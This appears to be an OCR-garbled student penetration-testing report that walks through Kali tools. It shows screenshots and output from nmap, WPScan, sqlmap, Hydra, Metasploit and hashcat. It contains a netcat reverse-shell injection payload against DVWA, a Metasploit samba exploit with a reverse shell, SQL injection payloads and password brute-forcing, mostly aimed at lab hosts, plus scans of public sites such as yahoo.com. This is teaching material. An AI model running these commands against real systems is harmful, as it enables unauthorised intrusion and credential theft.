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Grab Submit report Blag BolutyFacaran

I ; S : - Launched on Jul 2017
Gr@@ Grab is Southeast Asia’s #1 ride-hailing app, food delivery service and cashless
y, payment solution.

Managed by HackerOne

Includes retesting

Bounty splitting enabled

$200-$300 ¥y Bookmark () Subscribe

Policy Hacktivity Thanks Updates(14) Collaborators

Active campaign Endsin 15 day: Response Efficiency

4hrs

Rewards

URL *.myteksinet

Started my information gathering with grab. A site | got from hackerone.com, And hackerone
grants security researchers permission to legitimately test other sites or company’s
infrastructures to find bugs or vulnerabilities.
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f innocent@hayley: =
File Actions Edit View Help

innocent@hayley:~ X innocent@hayley: ~ X

Dnsenum -enum site.com : will perform a default and general scan on site.com.
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File Actions Edit View Help

innocent@hayley: ~ X innocent@hayley: ~ %
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innocent@hayley: ~
File Actions Edit View Help

innocent@hayley: ~ X innocent@hayley: ~ %
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innacent @hayley: ~
File Actions Edit View Help

innocent@hayley: ~ % innocent@hayley: ~ X

The Web Application Firewall Fingerprinting Toolkit

eric detection

F or r olution
when : 2

wafWOOf site.com will check for a firewall on a site. It's essential to know if your target has
an IPS/IDS protection, it will help figure out how to approach the target and the next
possible step to make.
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Yahoo! - Bug Bounty Proc X = +

QO B httpsi//hackerone.com/

liLinux #8 KaliTools » KaliDocs N Kali IEL - St T S
innocent @hayl

File Actions Edit View Help
= innocent@hayley: ~ X innocent@hayley: ~ X
B E O e x 9
11 - INFORMATION GATHERING:-
2

3 DNS analysis:
4 dnsenum

- 1p

6 dnsenum --enum grab.com default and general s HPING yahoo. 8. 5 ode + 0 data bytes
7 dnsenum -r grab.com subdomains bruteforce

8
9 IDS/IPS identification:
10 wafwoof

12 wafwoof grab.com
13

14 Live host identification:
15 hping3

16

17 Network & Port scanners:
18 nmap

19

2@ OSINT Analysis:

21 maltego

22 theharvester

23

Hping3 -1 site.com will use the ICMP protocol to test if the target is live or not. It’s important
to note that the site might be blocking the ICMP requests, in this case other advanced scan
can be made using nmap. Such as sending null,xmas or a single syn packet.
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innocent@hayley: ~
File Actions Edit View Help

innocent@hayley: ~ X innocent@hayley: ~ X

See the output of nmap -h for a summary of options.

uds yahoo.com

nmav‘:“u;recognized option '—Top-port2000"
See the output of nmap -h for a summary of options.

s} yahoo.com 2000
Sta g Nmap 7.93 ( https://nmap.org ) at 2023-83-20 12:16 WAT
Nmap scan report for yahoo.com (98.137.11.164)
Host is up (@.018s latency).
Other addresses for yahoo.com (not scanned): 74.6.231.21 74.6.143.26 74.6.143.25 74.6.231.20 98.13
7.11.163 2001:4998:44:3507:: 8000 2001:4998:24:120d::1:1 2001:4998:24:120d::1:0 2001:4998:124:1507:
;001 2001:4998:124:1507 :: f000 2001:4998:44:3507 :: 8001
rDNS record for 98.137.11.164: media-router—fp73.prod.media.vip.gql.yahoo.com
Not shown: 1998 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 16.67 seconds

In this nmap scan | used the switch ‘-sS’ to perform a SYN stealth scan without completing
the TCP-3wayHandShake,’-T3’ just tells it to run at medium speed, it’s from (T1-T5) T5 being

the fastest and gets lower results, ‘--top-ports’ just says to scan the 2000 top ports.
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innocent@hayley: ~
File Actions Edit View Help
innocent@hayley: ~ X METASPLOIT X RECORD X

https://shub.com.ng
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WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/

@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart

URL: https://shub.com.ng/ [199.188.200.123]
Started: Mon Mar 20 13:02:02 2023

Interesting Finding(s):

1 Headers
Interesting Entries:
- server: Apache
- x-powered-by: PHP/7.4.33
- x-redirect-by: WordPress
Found By: Headers (Passive Detection)
Confidence: 100%

XML-RPC seems to be enabled: https://shub.com.ng/xmlrpc.php

Found By: Direct Access (Aggressive Detection)

Confidence: 100%

References:

- http://codex.wordpress.org/XML-RPC_Pingback_APL

- https://wa.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/

- https://wa.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

- https://waw.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/

- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

WPScan will enumerate a wordpress site and list out things like headers, plugins, xml-rpc,
vulnerabilities, outadated versions etc.
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[ Screenshot taken

* Damn Vulnerable Web

< X @

KaliLinux @ KaliTools @ X Kali NetHunter Exploit-DB Google Hacking DB OffSec
DYWA)
(WA

Vulnerability: Command Execution

Ping for FREE
Enter an IP address below:

17.131 | nc -e /binsh 192.168.107.131 5555 | submit

More info

SQL Injection (Blind)
Upload
XSS reflected

XSS stored

DVWA Security

So | decided to test the tools listed in the assignment using DVWA(Damn vulnerable web
application). Though | have practiced on it alot and its quite easy, it is still a good target to
practice most of the tools listed in the assignment
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3 NETCAT
File Actions Edit View Help
NMAP % METASPLOIT X NETCAT x DIRBUSTER %
5

nerabilities,

Netcat wasn’t listed in the assignment, but it is still a swiss army knife for any quick
network needs or spawning a reverse shell. after finding a command injection vuln in the
DVWA, netcat is used to gain initial access. WE would now process to post exploitation
stage. By using ‘weevely’.
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WEEVELY

File Actions Edit View Help

NMAP x NETCAT x WEEVELY x APACHE2 SERVICE x METASPLOIT x DIRBUSTER x

ulnerabilities/e ad.php.txt 1

vulnerabil

After hosting our shell/payload on a server in my case locally using (apache2) we now proceed
to gaining a higher privilege. Either by finding a local privilege escalation bug in the kernel
through searchsploit, or by looking for SUID files, or any other means necessary. | used the old
nmap -interactive bug to become root.

Rempor-| > - ‘ ODH 80| @ G

3 NETCAT
File Actions Edit View Help

NMAP X NETCAT x WEEVELY X METASPLOIT X APACHE2 SERVICE X DIRBUSTER X

,» sl<rIpt kIddis,

end-output

@(root)
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NETCAT
File Actions Edit View Help
NMAP x NETCAT x WEEVELY x METASPLOIT x APACHE2 SERVICE x DIRBUSTER x

5UF9Tv./DRIEILId.

SWFDO1@:147

METASPLOIT
File Actions Edit View Help
NMAP x NETCAT x WEEVELY X METASPLOIT x APACHE2 SERVICE x DIRBUSTER X

tch - Deni

Deni
floi

de (1 bytes) (3)
Module (/tmp/o.o0)

Disclosure Date

brt_sosreport_pri
ket_ i

ner_backdoor
requeue
fright_mp4_t bi normal

normal
good

2016-05-04 good

Al

Andreid
Andreid
Andreid

O 4 a0
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: METASPLOIT

File Actions Edit View Help

NMAP X NETCAT X WEEVELY X METASPLOIT x APACHEZ2 SERVICE X DIRBUSTER X

View the full module info with the , or i command.

msf6 exploit( ) > set lhost 192.168.107.131
lhost = 192.168.107.131
msf6 exploit( ) > options

Module options (exploit/multi/samba/usermap_script):

Name Current Setting Required Description
RHOSTS 192.168.107.132 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

Name Current Setting Required Description
LHOST 192.168.107.131 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:
Id Name

@ Automatic

View the full module info with the fo, or -d command.
msf6 exploit( ) > run

Started reverse TCP handler on 192.168.107.131:4444
Command shell session 1 opened (192.168.107.131:4444 —» 192.168.107.132:37093) at 2023-03-22 11:02:10 +0100

Another quick exploitation using metasploit. From nmap scan of my target | discovered port
139 and 445 is open and runs a vulnerable piece of software samba 3.x-4.x. meaning that any
version of samba within the range 3-4 is vulnerable to remote code execution
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innocent@hayley: ~
File Actions Edit View Help

innocent@hayley: ~ X METASPLOIT x RECORD %

sudg 192.168.107.130 sC 2001
Starting Nmap 7.93 ( https://nmap.org ) at 2023-83-21 10:52 WAT

NSE: Loaded 45 scripts for scanning.

Failed to resolve "sC”.

Initiating ARP Ping Scan at 10:52

Scanning 192.168.107.130 [1 port]

Completed ARP Ping Scan at 10:52, ©.85s elapsed (1 total hosts)
Failed to resolve "sC".

Initiating SYN Stealth Scan at 10:52

Scanning 192.168.107.130 [2000 ports]

Discovered open port 139/tcp on 192.168.107.130

Discovered open port 8@/tcp on 192.168.107.130

Discovered open port 22/tcp on 192.168.107.130

Discovered open port 8880/tcp on 192.168.107.130

Discovered open port 443/tcp on 192.168.107.130

Discovered open port 445/tcp on 192.168.107.130

Discovered open port 143/tcp on 192.168.107.130

Discovered open port 8081/tcp on 192.168.107.130

Discovered open port 5801/tcp on 192.168.107.130

Completed SYN Stealth Scan at 10:52, 0.20s elapsed (2000 total ports)
Initiating Service scan at 10:52

Scanning 9 services on 192.168.107.130

Completed Service scan at 10:53, 12.85s elapsed (9 services on 1 host)
NSE: Script scanning 192.168.107.130.

NSE: Starting runlevel 1 (of 2) scan.

Initiating NSE at 10:53

Completed NSE at 10:53, ©.11s elapsed

NSE: Starting runlevel 2 (of 2) scan.

Initiating NSE at 10:53

Completed NSE at 1@:53, ©0.85s elapsed

Nmap scan report for 192.168.107.130

Host is up, received arp-response (0.0020s latency).

Scanned at 2023-03-21 18:52:57 WAT for 12s

Not shown: 1991 closed tcp ports (reset)

PORT STATE SERVICE REASON VERSION

22/tep open ssh syn-ack ttl 64 OpenSSH 5.3p1 Debian 3ubuntu4 (Ubuntu Linux; protocol 2.
0)

8a/tcp open http syn-ack ttl 64 Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1
ubuntu4.3@ with Suhosin-Patch proxy_html/3.8.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSS
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F METASPLOIT
e Actions Edit View Help

NMAP x NETCAT % WEEVELY X METASPLOIT x APACHE2 SERVICE X

DIRBUSTER X

Automatic

1e full module info with the
loit(
erse TCP handler on

mand s 3 ion 1 op +0100

SE a1 2

DB A o ue2| @
METASPLOIT
File Actions Edit View Help

NMAP > NETCAT x WEEVELY > METASPLOIT x APACHE2 SERVICE * DIRBUSTER

View the full modu info LUERT
ploit(

192.1¢
ploit(

set lhost 19
options
Module options (exploit/multi/samba/ p_script
equired iption
. asploit.html
load options (cmd/uni
Current Setting Reguired Des

es The listen address (an interfa

listen pe

Automat

full module info with the command .

rted re. handler on
Command shell sion 1 opened 110 +0100

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing
File Options About Help

Target URL (eg http:ffexample. com:B0/)

[httpiioz. 168,107 13280/

waork Mathod 5 Use GET requests only () Aute Switch (HEAD and GET)

Mumber of Threads  e————(d——————— 200 Thre.. [7|Go Faster

Selact scanning type: (%) List based brute force ) Pure Brute Force

Flle with list of dirs/files

Jusr/shareqwordlists/dirbuster/directory-list -2, 3-madium, tet | [ €4 Browsa | [ @ List Info
Select starting optlons: %) standard start paint ) URL Fuz

[¥] Brute Force Dirs [¥] Ba Recursive Dir to start with |/ |
[#] Brute Force Filas [ ] Use Blank Extension File extension [php ]

&l Ext

[ > start

[Start DirBuster,

Pleass complete the test detalls
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File Options About Help
http://192.168.107.132:80/
[@ Scan Information]' Results - List View: Dirs: 38 Files: 18 | Results - Tree View | A\ Errors: 0}

Testing for dirs in / (m (=3
Testing for files in / with extention .php ‘E‘ ‘E‘ .
Testing for dirs in findex/ ‘E‘ ‘E‘ I
Testing for files in findex/ with extention .php ‘E‘ ‘E‘
Testing for dirs in fcgi-bin/ ‘E‘ ‘E‘
Testing for files in fcgi-bin/ with extention .php \E‘ \E‘
Testing for dirs in /doc/ ‘E‘ ‘E‘
Testing for files in /doc/ with extention .php ‘E‘ ‘E‘
Testing for dirs in ftwiki/ ‘E‘ ‘E‘
Testing for files in ftwiki/ with extention .php ‘E‘ ‘E‘
Testing for dirs in /phpMyAdmin/ ‘E‘ ‘E‘
Testing for files in /phpMyAdmin/ with extention .php ‘E‘ ‘E‘ I~

Current speed: 0 requests/sec
Average speed: (T) 71, (C) O requests/sec

Parse Qusue Size: 0 Current number of running threads: 200
Total Requests: 6757/17202729 | change |
Time To Finish: ~

ack 00 Pause H O stop

Program running again

(Select and right click for more options)

Imutillidaefindex/08.php

Dirbuster for finding of hidden files and directories. Other command-line alternatives are

gobuster, ffuf etc.

ttings 68. nad phn Faraday

O O localhost:s

KaliLinux &8 KaliTools @ KaliDocs M KaliForums o Kali NetHunter Google Hacking DB

soutech-assignment

Activity Dashboard
Vulnerabilities
Assets

Analytics

Planner

Reports
Automation

Users

Upload Vulnerabilities

Create vulnerabilities manually
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File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AOA® s BBR@ a2 ¢<>»>n<«>»BEE08en0@

Time Source Destination Protocol Length Info
1 0.000000000 142.250.200.74 172,11 713 TCP 60 443 PSH, ACK] Seg=1 Ack=1 Win=64239 Len=@
24 4.836946988 223.195 172.16.245. TCP 60 443 Ack=40 Win=64240 Len=0
49 4.844650101 .58.223.195 172.16.245. TCP 60 443 Ack=64 Win=64240
50 4 .195 ; TCP

837265896
838034418 33.171 E .16.245.1¢ TCP 60 443 50332
838089690 .18.33.171 = LH . TCP 60 443 50332 Seq=1 Ack=65 Win=64239
911627530 .33.471 .16.245.133 TCcP 60 443 . 58332 [F PSH, ACK] Seq=1 Ack=65 Win=64239 Len=0
836631641 45.60.154.169 -16. . TCP 60 443 50372 Ack=40 Win=64248 Len=0
851750776 45.60.154.169 ~16. : TCP 60 443 50372 Seq=1 Ack=64 Win=64248 Len=8
851835370 45.60.154.169 =16 > TCP 60 443 50372 Seg=1 Ack=65 Win=64239 Len=8
836823940 216.58.223.206 .16, . TCP 60 443 Seq=1 Ack=40 Win=64240 Len=0
838471863 216.58.223.206 LB : TCP 60 Win=64240 Len=0@
4 = +1c] K - g
Frame 58:
Ethernet 5 0
Internet Proto r Src: 216 5 72.16.24 85 01 S 2e d8 50 10
Transmission Control Protocol, Src Port: 4. o

® E wireshark_eth1X91411.pcapng Packets: 315 - Displayed: 315 (100.0%) Profile: Default

Wireshark: can capture traffic based on an interface specified and filter precisely based on
IP and/or ports/protocol and other filtering options. Then saved as a pcap file for later
analysis.
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Burp Suite Community Edition ¥2023.12 - Temporary Project

M Gup  Project Intruder Repeater Window  Help
Dashboard Target 0 Intruder t Sequencer Decoder Comparer Logger Extensions {5} Settings
HTTPhistory  WaebSockets history & Proxy settings

/P Requesttohttp://192.168.107.132:80
Forward Drop Open browser ment thisite W | v (3)

Raw  Hex Inspector w) I - @& X
GET sdvwa/vulnerabilities/sqli/?id=5%27+AND+1%3D1+- - &Submit=Submit HTTP/1.1
2 Host: 192.168.1087.132 Request attributes
3 User-Agent: Mozilla/S.0 (X11: Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
4 Accept: text/html,application/xhtnl+xnl,application/xnl;q=0.9,inage/avif, inage/webp, +/4:q=0.8
S Accept-Language: en-US,en:g=0.5 Request query parameters
G Accept-Encoding: gzip, deflate
7 Connection: close
5 Referer: http://192.168.107,132/dvwa/vulnerabilities/sqli/ 7id=Sa5ubnit=Subnit
= | o cookie: security=nediun; PHPSESSID=24cl3c9d36ae236524cE43014048hcE5
Setup 10 Upgrade-Insecure-Requests: 1 Request cookies
D— Y
12|

KaliLinux &8 Kali T

Request body parameters

Brute Forcq Request headers

Command §

CSRF

File Inclusig
‘*4.
ke v vl

SQL Injectiq

Upload

XSS reflecty

XSS stored|

2.168.107.132

0 matches

Burpsuite is a must know tool for web pentester. It serves as a proxy tool to intercept web
request, to scan vulnerabilities using the automated options. And other addons and scripts
can be built and embedded using java or a python library ‘Jython’ to write python code that
will be converted to java using the library above.
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Mimika
Burp Project Intruder

Dashboard

Repeater  Window  Help

Target  Proxy  Intruder  Repeater

liLinux # Kali®

Request

8

1 GET fdvwa/vulnerabilities/sqlif?id=5%27+AND+1%3D1+--&
submit=Submit HTTP/1.1

2 Host: 192.168,107.132

3 User-Agent: Mozilla/5.0 (X11:
Gecko/20100101 Firefox/102.0

4 Accept:
text/html, application/xhtml+xnl, application/xnl; q=0,9
Limage/avif,image/webp, /* .8
Accept-Language: en-US.en;
Accept-Encoding: gzip, daﬂate

7 Connection: close

Raw Hex

Linux x86 64; rv:102,0)

Sequencer

Fretty Raw Hex

Decoder  Comparer  Logger

Response
Render
1 HTTP/1.1 200 OK

Burp Suite Community Edition v2023.1.2 - Temporary Project

Extensions

Date: Wed, 22 Mar 2023 14:28:42 GMT

Server:
4 X-Powered-By:

Apache/2.2.8 (Ubuntu) DAV/2
PHP/S. 2. 4- 2ubuntus.10

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Contral:
post -check=0, pre-check=0
Pragna: no-cache
Content-Length: 170
Connection: close
Content-Type: text/html

A QO 1528

Learn (& Settings
Q

Target: hitp://192.168.107.132 /7
.

Request attributes

Hreh (3
Inspector © X
Request query parameters

Request body parameters

no-store, no-cache, must-revalidate,

Request cookies

Request headers

Referer:

http://192.168.107.132/dvwa/vul nerabilities/sqli/?id= |12 <pres

S&Subnit=Subnit You hawe an error in your SOL syntax: check the
o Cookie: security=medium; PHPSESSID= manual that corresponds to your MySOL server

24c13c9d36ae236524c843014046bc65 version for the right syntax to use near '\' AND
10 Upgrade-Insecure-Requests: 1 1=1 --'

1
1z |

Response headers

0 matches 0matches

502 bytes| 20 millis

Request from burp is saved in a text file that will be used and sent to sqlmap to
futher test the parameters for sqgl injections.

qem ko

P innocent@hayley: ~/Desktop
i Kalz riat W i

File Actions Edit View Help

[~/Desktop]

Kali Linux §& Kali

of sglmap for
ibility to obey
responsible for any misuse or d
Instructions
Home [#] startin,

rsing HTTP request from 'request

[15:30:37] [INFO] >
[15 1 [WARNING] it appears that you have provided tainted parameter values ('id=5' AND 1%3D1 --'
) with most likely leftover chars/statements from manual 5QL injection test(s). Please, always use on
ly valid parameter values so sqlmap could be able to run properly
are you really sure that you want to continue (sqlmap could have problems)? [y/N] y

1 [INFU] testing connection to the target URL

File Inclusion G] there is a DBMS error found in the HTTP response body which could inter

net
"id' appears to be dy

request.txt heuristic (basic) test shows that GET parameter

'id' might be injectable (possible
XSS stored

DVWA Security

Sqglmap using the -r switch to ask for a ‘request’ fil. The -dbs tells sglmap to find and
least the databases.
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innocent @hayley: ~/Desktop
File Actions Edit View Help
END)),@x71627a6a71, FLOOR(RAND(®)*2)) HAVING MIN(@)#&Submit=Submit

Type: time-based blind
Title: MySQL 2 5.0.12 time-based blind - Parameter replace
Payload: id=(CASE WHEN (6626=6626) THEN SLEEP(5) ELSE 6626 END)&Submit=Submit

Type: UNION guery
Title: MySQL UNION query (random number) - 2 columns
Payload: id=-9789 UNION AlL SELECT CONCAT(@x7176707871,0x76716£535662596572505766654b4d4b6e576759
637773414d426b5a736959576 4442668794853 ,0x71627a6a71),8238#65ubmit=Submit
[1 1 [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL > 5.0.12
[ ] [INF fetching database names
[INF retrieved: ‘information_schema’
retrieved: 'dvwa'
retrieved: 'metasploit’
retrieved: 'mysql’
retrieved: ‘owaspl®’
[INFO] retrieved: "tikiwiki®
[INFO] retrieved: 'tikiwiki195s'
databases [7]:
dvwa
1 information_schema
1 metasploit
1 mysql
owaspl10
1 tikiwiki
1 tikiwikil95s
] [INFO] fetched data logged to text files under '/home/innocent/.local/share/sglmap/output/
-168.107.132"

1 ending @ 15:33:05 /2023-03-22/

-[~/Desktop

Sglmap has many functionalities and can even spawn a shell into the database. Sqlmap can
drop a table completely or download it to local machine for later analysis.
'Q = -',“\Elv“I 23 4 B & O« A O 15| 8 &

innocent@hayley: ~
File Actions Edit View Help

innocent@hayley: ~ X innocent@hayley: ~ X innocent@hayley: ~ X

admin password '

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret servi
ce organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anywa
y).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-22 16:22:10

[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), ~1 try per task

[DATA] attacking http-get-form://192.168.107.132:80/dvwa/vulnerabilities/brute/:username="USER"&passwo
rd="PAS5"GLogin=Login:H=Cookie\:PHPSESSID=24c13c9d36ae236524c843014046bc65; security=medium:F=Username
and/or password incorrect

[80]1[http-get-form] host: 192.168.107.132 login: admin password: password

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-22 16:22:11

Hydra v
ce organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anywa
¥).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-83-22 16:22:52

[INFORMATION] escape sequence \: detected in module option, no parameter verification is performed.
[DATA] max 16 tasks per 1 server, overall 16 tasks, 43 login tries (l:1/p:43), ~3 tries per task
[DATA] attacking http-get-form://192.168.107.132:80/dvwa/vulnerabilities/brute/: username="USER"&passwo
rd="PASS"5Login=Login:H=Cookie\:PHPSESSID=24c13c9d36a6236524C843014046bc65; security=medium:F=Username
and/or password incorrect

[80][http-get-form] host: 192.168.107.132 login: admin password: password

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-83-22 16:22:54

admin usr/share/wordlists/metasploit/mirai pass.txt "http-g rm: //192.168.107.13 a/vulnerabilities/brute/:use

Hydra is a multipurpose protocol terminal-based cracker/bruteforcer. Hydra can be a bit
challenging and unforgiving when it comes to syntax. Be mindful of various versions, and
browse the web for latest usage. Commands in previous version might throw an error in
newer version. always enumerate and note the usernames of your targets so that we only
bruteforce for passwords of the usernames.
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theHarvester 4.2.0

Coded by Christian Martorella
Edge-Security Research
cmartorellagedge-security.com

usage: theHarvester [-h] -d DOMAIN [-1 LIMIT] [-S START] [-p] [-s] [-—screenshot SCREENSHOT] [-v] [-e DNS_SERVER] [-r]
[-n] [-c] [-f FILENAME] [-b SOURCE]

theHarvester is used to gather open source intelligence (OSINT) on a company or domain.

options:
-h, —help show this help message and exit
-d DOMAIN, —domain DOMAIN
Company name or domain to search.
-1 LIMIT, —limit LIMIT
Limit the number of search results, default=500.
-S START, —start START
Start with result number X, default=0.
-p, —proxies Use proxies for requests, enter proxies in proxies.yaml.
-s, —shodan Use Shodan to query discovered hosts
—screenshot SCREENSHOT
Take screenshots of resolved domains specify output directory: —screenshot output_directory
-v, —virtual-host Verify host name via DNS resolution and search for virtual hosts.
-e DNS_SERVER, —dns-server DNS_SERVER
DNS server to use for lookup.
-r, —take-over Check for takeovers
-n, —dns-lookup Enable DNS server lookup, default False.
-c, —dns-brute Perform a DNS brute force on the domain.
-f FILENAME, —filename FILENAME
Save the results to an XML and JSON file.
-b SOURCE, -——source SOURCE
anubis, baidu, bevigil, binaryedge, bing, bingapi, bufferoverun, censys, certspotter, crtsh,
dnsdumpster, duckduckgo, fullhunt, github-code, hackertarget, hunter, intelx, omnisint, otx

theHarvester, a tool on Kali Linux, is used for reconnaissance. It extracts data (email
addresses, subdomains, etc.) from public sources. It's often employed by cybersecurity
professionals to assess vulnerabilities and enhance security posture.

Always reading the help options of any tool shows us ways to use the tool more effectively.
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innocent@Hayley: ~/grab.com

grab.com duckduckgo, yahoo,urlscan, threatcrowd, zoomeye,sublist3r, github-code,censys,bing, hackertarget, threatminer,bevigil
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theHarvester 4.2.0

Coded by Christian Martorella
Edge-Security Research

cmartorellagedge-security.com

[*] Target: grab.com

An exception has occurred: Cannot serialize non-str key None
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An exception has occurred: Cannot serialize non-str key None
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innocent @Hayley: ~/grab.com

-[~/grab.com
grab.com duckduckgo, yahoo,urlscan, threatcrowd, zoomeye, sublist3r, github-code,censys,bing, hackertarget, threatminer,bevigil

theHarvester 4.2.0

Coded by Christian Martorella
Edge-Security Research
cmartorelladedge-security.com

[*] Target: grab.com

An exception has occurred: Cannot serialize non-str key None
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hashcat (v6.2.6) starting in help mode
Usage: hashcat [options] ... hashlhashfilelhccapxfile [dictionarylmask|directory] ...
- [ Options ] -

Options Short / Long Description Example

-m, ——hash-type Hash-type, references below (otherwise autodetect) -m 1000
—attack-mode Attack-mode, see references below -a 3
——version Print version
—help Print help
—quiet Suppress output
—hex-charset Assume charset is given in hex
—hex-salt Assume salt is given in hex
—hex-wordlist Assume words in wordlist are given in hex
—force Ignore warnings
—deprecated-check-disable Enable deprecated plugins
—status Enable automatic update of the status screen
-——status-json Enable JSON format for status output
-——status-timer Sets seconds between status screen updates to X —status-timer=1
—stdin-timeout-abort Abort if there is no input from stdin for X seconds —stdin-timeout-abort=300
—machine-readable Display the status view in a machine-readable format
—keep-guessing Keep guessing the hash after it has been cracked
—self-test-disable Disable self-test functionality on startup
— loopback Add new plains to induct directory
—markov-hcstat2 Specify hcstat2 file to use —markov-hcstat2=my.hcstat2
—markov-disable Disables markov-chains, emulates classic brute-force
—markov-classic Enables classic markov-chains, no per-position
—markov-inverse Enables inverse markov-chains, no per-position
-t, —markov-threshold Threshold X when to stop accepting new markov-chains -t 5@
—runtime Abort session after X seconds of runtime —runtime=10
—session Define specific session name —session=mysession
—restore Restore session from —session
—restore-disable Do not write restore file
—restore-file-path Specific path to restore file —restore-file-path=x.restore
-0, —outfile Define outfile for recovered hash -0 outfile.txt
—outfile-format r Outfile format to use, separated with commas —outfile-format=1,3
—outfile-autohex-disable Disable the use of $HEX[] in output plains
—outfile-check-timer Sets seconds between outfile checks to X —outfile-check-timer=30

Hashcat is a powerful password recovery tool on Kali Linux, it is designed for cracking hashed
passwords. It uses brute-force, dictionary, and hybrid attacks to attempt password decryption.
Hashcat supports various hashing algorithms and provides an efficient means of testing

password security and recovering lost or forgotten passwords.

ﬁ% rEm PO a 1 = il A Qus| g &
i innocent@Hayley: ~
- [ Hash modes ] -

| Name Category

| MD4 Raw Hash
| MD5 Raw Hash
| shA1 Raw Hash
| SHA2-224 Raw Hash
| SHA2-256 Raw Hash
| SHA2-384 Raw Hash
| SHA2-512 Raw Hash
| SHA3-224 Raw Hash
| SHA3-256 Raw Hash
| SHA3-384 Raw Hash
| SHA3-512 Raw Hash
| RIPEMD-160 Raw Hash
| BLAKE2b-512 Raw Hash
| GOST R 34.11-2012 (Streebog) 256-bit, big-endian Raw Hash
| GOST R 34.11-2012 (Streebog) 512-bit, big-endian Raw Hash
| GOST R 34.11-94 Raw Hash
| GPG (AES-128/AES-256 (SHA-1($pass))) Raw Hash
| Half MD5 Raw Hash
| Keccak-224 Raw Hash
| Keccak-256 Raw Hash
| Keccak-384 Raw Hash

| Keccak-512

| whirlpool

| sipHash

| md5(utfi6le($pass))

| shai(utfi6le($pass))

| sha256(utfi6le($pass))

| sha3gs(utfiele($pass))

| sha512(utfi6le($pass))

| BLAKE2b-512($pass.$salt) salted and/or iterated
| BLAKEZb-512($salt.$pass) salted and/or iterated
| md5($pass.$salt) salted and/or iterated
| md5($salt.$pass) salted and/or iterated
| md5($salt.$pass.$salt) salted and/or iterated
| md5($salt.md5($pass)) salted ar iterated
| md5($salt.md5($pass.$salt)) salted iterated
| md5($salt.md5($salt.$pass)) salted ar iterated
| md5($salt.shai($salt.$pass)) salted ar iterated
| md5($salt.utfi6le($pass)) salted and/or iterated
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target_hashes.txt

"Hello" 7;\5? tr = target hashes.txt
'FYSE[EE;:V : d5s tr = target hashes.txt
."551122;1: i d5sur tr =2 target hashes.txt
'D455w0r;:: “mdSsur tr T target hashes.txt

"GuessMe” dSsun tr S target hashes.txt
"S3CuR3P455Word” d5sun tr e target hashes.txt

—$ cat target hashes.txt

5fadccib5aa765d61d8327deb882cf99

8b1a9953c4611296a827abf8c47804d7

958152288f2d2303ae0@45cffc43a02cd

2c9341cabcf3d87b9esebd@5dba3ecss

75b71aa6842e450f12aca@fdf54c51d

031cbcccd3babbd4d1556330995b8d08

becd57447ec6b2582830b4bdofed2864

Here we try to make an MD5 password hash by echoing some plaintext password and piping
it into the md5sum tool in kali linux. This hashes will then be cracked using hascat and the
output sent to a cracked.txt file.

Note: Some issues can be encountered from trying to crack an hash via a virtual machine due
to the low resources(CPU,GPU) assigned to the VM.
So for effiecient cracking, i used my main PC.

/binfbash 169x20

fbin/bash 83x20 /binfbash B3x20




/binfbash 16942

After successfully using a dictionary file against the md5 hash, the output will be saved to a
cracked.txt file.
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—$ cat cracked.txt
5f4dcc3b5aa765d61d8327deb882¢cf99: password
8b1a9953c4611296a827abf8c47804d7 :Hello
958152288f2d2303ae@45cffc43a02cd :MYSECRET
2c9341cabcf3d87b9esebd05dbalecs5: Test1234
75b71aa6842e450f12acag@fdf54c51d: P455ward
@31chcccd3babbd4d1556330995b8d@8 : GuessMe
becd57447ec6b2582830b4bdofEd2864 : S3CUR3P455Word
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Currently scanning: Finished! |  Screen View: Unique Hosts

3 Captured ARP packets, fro

etho 192.158.155.13@.

Netdiscover is a network reconnaissance tool used for passive network discovery. It scans a
local network to identify live hosts, their IP addresses, MAC addresses, and associated
manufacturers. Netdiscover aids in mapping and understanding the network topology,
helping security professionals in network monitoring, troubleshooting, and identifying
potential security risks.
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ZAP Tips and Tricks:

POST reqguests have a 'right click' menu for generating an anti CSRF test form.

INE L TGN AT LSRN CALETISION = Ml UIES afill CrUss SILe TEGUEst 1UIgery (Lonrf LUKENS
INFO: Initializing Authentication Extension - Authentication Extension

INFO: Loaded authentication method types: [Form-based Authentication, HTTP/NTLM Authentication, Manual Authentication, Script-based Authentication, |SOM-based Authenticatio
nl

INFO: Initializing Log4j Extension - Logs errors to the Cutput tab in development mode only

INFO: Initializing Users Extension - Users Extension

INFO: Initializing Parameters Extension - Summarise and analyse FORM and URL parameters as well as cookies

INFO: Initializing Script Extension - Script integration

INFO: Initializing ExtensionScripts - Scripting console, supports all JSR 223 scripting languages

ZAP (Zed Attack Proxy) is a popular dynamic web application security scanner on kali linux. It
is designed for detecting vulnerabilities in web applications through active scanning and
